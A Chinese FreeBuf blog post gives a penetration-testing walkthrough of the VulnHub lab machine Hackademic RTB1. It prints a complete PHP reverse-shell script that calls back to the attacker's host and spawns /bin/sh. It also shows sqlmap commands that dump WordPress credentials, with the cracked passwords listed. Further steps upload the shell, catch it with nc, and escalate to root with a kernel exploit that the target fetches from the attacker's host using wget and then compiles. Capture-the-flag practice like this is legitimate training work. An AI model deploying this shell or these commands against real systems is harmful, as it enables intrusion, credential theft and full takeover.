freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HACKADEMIC: RTB1靶场-复现笔记
aavvdss 2022-09-29 16:50:49 139312
所属地 安徽省

HACKADEMIC: RTB1靶场复现

0x01 下载地址

https://www.vulnhub.com/entry/hackademic-rtb1,17/(适用于VMware)

0x02 靶机目标

获取root目录里key.txt

0x03 准备工作

  • 靶机、kali(192.168.0.125)各一台,靶机和kali用桥接模式

  • PHP反弹shell脚本

<?php

set_time_limit(0);
$VERSION="1.0";
$ip='192.168.0.125';  // CHANGE THIS
$port=10086;       // CHANGE THIS
$chunk_size=1400;
$write_a=null;
$error_a=null;
$shell='uname -a; w; id; /bin/sh -i';
$daemon=0;
$debug=0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if(function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid=pcntl_fork();

if($pid==-1) {
printit("ERROR: Can't fork");
exit(1);
}

if($pid) {
exit(0);  // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if(posix_setsid() ==-1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon=1;
} else{
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock=fsockopen($ip, $port, $errno, $errstr, 30);
if(!$sock) {
printit("$errstr($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec=array(
0=>array("pipe", "r"),  // stdin is a pipe that the child will read from
1=>array("pipe", "w"),  // stdout is a pipe that the child will write to
2=>array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process=proc_open($shell, $descriptorspec, $pipes);

if(!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while(1) {
// Check for end of TCP connection
if(feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if(feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a=array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if(in_array($sock, $read_a)) {
if($debug) printit("SOCK READ");
$input=fread($sock, $chunk_size);
if($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if(in_array($pipes[1], $read_a)) {
if($debug) printit("STDOUT READ");
$input=fread($pipes[1], $chunk_size);
if($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if(in_array($pipes[2], $read_a)) {
if($debug) printit("STDERR READ");
$input=fread($pipes[2], $chunk_size);
if($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
functionprintit($string) {
if(!$daemon) {
print"$string\n";
}
}

?>

0x04 详细步骤

一、 网络扫描发现主机

1. 内网扫描

sudoarp-scan-Ieth0-l# 使用网络接口eth0扫描并生成地址
  • 扫描内网发现靶机192.168.0.126image-20220824142818312

2.扫描靶机开放端口

sudonmap-p-192.168.0.126
  • 发现靶机开放22、80端口

image-20220824143648031

二 . web信息收集

1.浏览器打开http://192.168.0.126,发现target链接

image-20220824143830446

2.点击target,跳转到http://192.168.0.126/Hackademic_RTB1/

image-20220824144213279

3.点击测试,发现点击Uncategorized跳转出现/?cat=1参数

image-20220824144353512

三.SQL注入

1.尝试SQL注入,直接上and 1=1 | and 1=2测试发现此页面存在SQL注入

image-20220824144621415

image-20220824144632433

2.使用kali工具sqlmap自动化注入

  • 注入查询库

sudo sqlmap -u http://192.168.0.126/Hackademic_RTB1/?cat=1 --dbs --batch

image-20220824145543547

  • 注入查询表名

sudo sqlmap -u http://192.168.0.126/Hackademic_RTB1/?cat=1 -D wordpress --tables --batch

image-20220824150142963

  • 注入查询列

sudo sqlmap -u http://192.168.0.126/Hackademic_RTB1/?cat=1 -T wp_users --column --batch

image-20220824150426798

  • 发现账号密码,继续查询字段

sudo sqlmap -u http://192.168.0.126/Hackademic_RTB1/?cat=1 -C user_login,user_pass -D wordpress -T wp_users --dump --batch

image-20220824152239804

  • 通过MD5解密,最终获取账号密码如下

user_loginuser_pass
NickJames21232f297a57a5a743894a0e4a801fc3 (admin)
MaxBucky50484c19f1afdaf3841a0d821ed393d2 (kernel)
GeorgeMiller7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)
JasonKonnors8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell)
TonyBlacka6e514f9486b83cb53d8d932f9a04292 (napoleon)
JohnSmithb986448f0bb9e5e124ca91d3d650f52c (PUPPIES)

四、目录扫描

  • 扫描目录寻找后台登录

dirsearch -u http://192.168.0.126/Hackademic_RTB1/

image-20220824153719272

  • 浏览器访问http://192.168.0.126/Hackademic_RTB1/wp-admin/,发现为后台登录口

image-20220824153920857

五、上传&getshell

  • 测试数据库账号密码,发现只有用户GeorgeMiller (q1w2e3)有应用系统设置权限

image-20220824154234340

  • 在upload功能模块打开上传功能,并增加php格式上传

image-20220824154516218

  • 修改php反弹shell脚本里ip、port,在upload模块上传

image-20220824155654996.png

image-20220824155003382.png

  • kali主机监听反弹端口

nc-lnvp10086# 监听10086端口

image-20220824155135933

  • 浏览器访问192.168.0.126/Hackademic_RTB1/wp-content/shell.php,nc收到反弹shell

image-20220824160122348

六、Liunx提权

  1. 尝试sudo提权,但无权限

image-20220824160332047

  1. 查看linxu内核版本2.6.31.5,尝试内核提权

image-20220824160502925

  1. kali搜索可利用代码

searchsploit2.6.3
  • 经测试15285.c可用

image-20220824160738605

  1. 编码并执行代码

cd/tmp
sudocp/usr/share/exploitdb/exploits/linux/local/15285.c.  # 复制15285.c文件到当前文件夹
python3-mhttp.server80# 以当前命令运行目录作为http服务器根目录
  • kali执行代码

image-20220824161541857

  1. 靶机获取代码,编译并执行

cd/tmp
wget-chttp://192.168.0.125/15285.c  # 下载代码
gcc-oexp15285.c# 编译15285.c,然后输出输入到exp文件中
chmod+xexp# 给予exp文件执行权限
./exp
id
  • 靶机执行代码,成功拿到root权限

image-20220824161941310

  1. 获取key.txt

catkey.txt
# 渗透测试 # web安全 # 内网渗透 # 学习笔记 # 漏洞复现
本文为 aavvdss 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
aavvdss LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 3 关注者
Vulnstack红日内网靶场(七)-学习过程笔记
2023-01-11
Vulnstack红日内网靶场(二)-学习过程笔记
2022-09-29
文章目录